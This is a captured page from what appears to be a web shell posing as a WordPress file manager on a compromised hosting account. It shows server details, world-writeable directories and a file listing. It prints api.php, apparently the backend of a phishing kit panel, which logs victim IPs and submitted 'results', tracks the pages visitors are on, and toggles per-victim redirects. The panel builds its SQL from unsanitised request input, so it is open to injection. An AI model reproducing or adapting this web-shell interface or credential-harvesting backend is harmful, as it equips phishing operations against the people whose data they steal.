$64 GRAYBYTE WORDPRESS FILE MANAGER $98

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 104.21.66.139 | ADMIN IP 216.73.216.147
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bravrvjk/cepurhuye.rw/076be9/panel/

HOME
Current File : /home/bravrvjk/cepurhuye.rw/076be9/panel//api.php
<?php

    class con extends SQLite3 {

        function __construct() {
            $dbPath = dirname(__DIR__,1) . '/panel/database.db';
            if (!file_exists($dbPath)) {
                die("Database file not found: " . $dbPath);
            }
            $this->open($dbPath);
        }

        function command($cmd) {
            $result = $this->query($cmd);
            if (!$result) {
                die("SQL Error: " . $this->lastErrorMsg());
            }
            return $result;
        }

        function MyData($data) {
            $my_array = [];
            while ($row = $data->fetchArray(SQLITE3_ASSOC)) {
                $my_array[] = $row;
            }
            return $my_array;
        }
    }

    $connexion = new con();

    function insert_data($table,$data = array()) {
        GLOBAL $connexion;
        if( empty($table) )
            return false;
        if( !is_array($data) )
            return false;
        $columns = implode(", ",array_keys($data));
        $values  = implode("', '", array_values($data));
        $sql = "insert into $table ($columns) values ('$values')";
        $connexion->command($sql);
    }

    function update_data($table,$data = array(),$condition) {
        GLOBAL $connexion;
        if( empty($table) )
            return false;
        if( !is_array($data) )
            return false;

        $updateSql = "UPDATE $table SET ";
        $params = [];
        foreach ($data as $key => $value) {
            if(is_numeric($value)) {
                $updateSql .= "$key = $value, ";
            } else {
                $updateSql .= "$key = '$value', ";
            }
        }
        $updateSql = rtrim($updateSql, ", "); // Remove the trailing comma
        $updateSql .= " WHERE ";
        foreach ($condition as $key => $value) {
            if(is_numeric($value)) {
                $updateSql .= "$key = $value AND ";
            } else {
                $updateSql .= "$key = '$value' AND ";
            }
        }
        $updateSql = rtrim($updateSql, "AND "); // Remove the trailing "AND"
        $connexion->command($updateSql);
    }

    function delete_data($table,$data = array()) {
        GLOBAL $connexion;
        if( empty($table) )
            return false;
        if( !is_array($data) )
            return false;
        $sql = "DELETE FROM $table ";
        $where = $data[array_key_first($data)];
        foreach($data as $key => $value) {
            if(is_numeric($value)) {
                $sql .= " WHERE " . $key . " = " . $value;
            } else {
                $sql .= " WHERE " . $key . " = '" . $value . "'";
            }
        }
        $connexion->command($sql);
    }

    function get_data($table,$data = null) {
        GLOBAL $connexion;
        if( empty($table) )
            return false;
        $sql = "SELECT * FROM $table ";
        if (!empty($data)) {
            $conditions = [];
            foreach ($data as $key => $value) {
                if(is_numeric($value)) {
                    $conditions[] = "$key = $value";
                } else {
                    $conditions[] = "$key = '$value'";
                }
            }
            $sql .= " WHERE " . implode(" AND ", $conditions);
            $sql .= " ORDER BY id DESC";
        }

        $query = $connexion->command($sql);
        $results = $connexion->MyData($query);
        return $results;
    }

    function action($jsonData) {

        $jsonData = json_decode($jsonData, true);

        if ($jsonData === null) {
            echo "Invalid JSON data";
            exit;
        }

        if ($jsonData['action'] !== 'GET' && $jsonData['action'] !== 'INSERT' && $jsonData['action'] !== 'VISITORS' && $jsonData['action'] !== 'UPDATE' && $jsonData['action'] !== 'RESETGOTO' && $jsonData['action'] !== 'CHECKGOTO') {
            echo "Invalid Action";
            exit;
        }

        $action = $jsonData['action'];

        // ACTION : INSERT
        if( $action == 'INSERT' ) {
            $insert = insert_data('data',[
                'ip' => $jsonData['ip'],
                'created_at' => date('Y-m-d h:i:s'),
                'results' => json_encode($jsonData['results']),
            ]);
        }

        // ACTION : UPDATE
        if( $action == 'UPDATE' ) {
            $get = get_data('data',['ip' => $jsonData['ip']]);
            $dd = $get[0];
            $old = json_decode($dd['results'],true);
            $new = array_merge($old,$jsonData['results']);        
            $data = [
                'results' => json_encode($new),
            ];
            $conditions = [
                'id' => $dd['id'],
            ];
            $update = update_data('data',$data,$conditions);
        }

        // ACTION : GET
        if( $action == 'GET' ) {
            $check = get_data('data',['ip' => $jsonData['ip']]);
            if( count($check) == 0 ) {
                http_response_code(400); // Bad Request
                echo json_encode(['error' => 'Invalid Data']);
                exit;
            } else {
                return $check[0]["data"];
            }
        }

        // ACTION : VISITORS
        if( $action == 'VISITORS' ) {
            $check = get_data('visitors',['ip' => $jsonData['ip']]);
            if( count($check) == 0 ) {
                $insert = insert_data('visitors',[
                    'ip' => $jsonData['ip'],
                    'page' => $jsonData['page'],
                    'last_activity' => time(),
                    'created_at' => date('Y-m-d h:i:s'),
                    'updated_at' => date('Y-m-d h:i:s'),
                ]);
            } else {
                $update = update_data('visitors',['page' => $jsonData['page'],'last_activity' => time(),'updated_at' => date('Y-m-d h:i:s')],['ip' => $jsonData['ip']]);
            }
        }

        // ACTION : RESETGOTO
        if( $action == 'RESETGOTO' ) {
            $check = get_data('data',['ip' => $jsonData['ip']]);
            if( count($check) > 0 ) {
                $update = update_data('data',['goto' => 0],['ip' => $jsonData['ip']]);
            }
        }

        // ACTION : CHECKGOTO
        if( $action == 'CHECKGOTO' ) {
            $check = get_data('data',['ip' => $jsonData['ip']]);
            if( count($check) > 0 ) {
                return $check[0]["goto"];
            }
        }

    }


?>

Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
10 Apr 2026 3.21 PM
bravrvjk / bravrvjk
0755
assets
--
9 Feb 2025 5.30 PM
bravrvjk / bravrvjk
0777
inc
--
9 Feb 2025 5.30 PM
bravrvjk / bravrvjk
0777
upload
--
27 Feb 2026 5.33 AM
bravrvjk / bravrvjk
0777
.htaccess
0.1 KB
9 Feb 2025 1.38 AM
bravrvjk / bravrvjk
0666
api.php
6.423 KB
9 Feb 2025 1.34 AM
bravrvjk / bravrvjk
0666
createuser.php
7.426 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666
data.php
15.868 KB
22 Aug 2025 9.14 PM
bravrvjk / bravrvjk
0666
database.db
32 KB
14 Apr 2026 9.15 AM
bravrvjk / bravrvjk
0666
editrow.php
1.379 KB
9 Feb 2025 5.34 PM
bravrvjk / bravrvjk
0666
edituser.php
1.442 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666
getdata.php
1.676 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666
getinfos.php
0.618 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666
getuserinfos.php
0.646 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666
getvisitors.php
0.875 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666
index.php
5.234 KB
6 Feb 2025 4.53 AM
bravrvjk / bravrvjk
0666
logout.php
0.234 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666
profile.php
7.994 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666
removerow.php
0.515 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666
removeuser.php
0.504 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666
signup.php
4.896 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666
to.php
0.509 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666
users.php
12.086 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666
visitors.php
6.932 KB
6 Feb 2025 4.43 AM
bravrvjk / bravrvjk
0666

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF Static GIF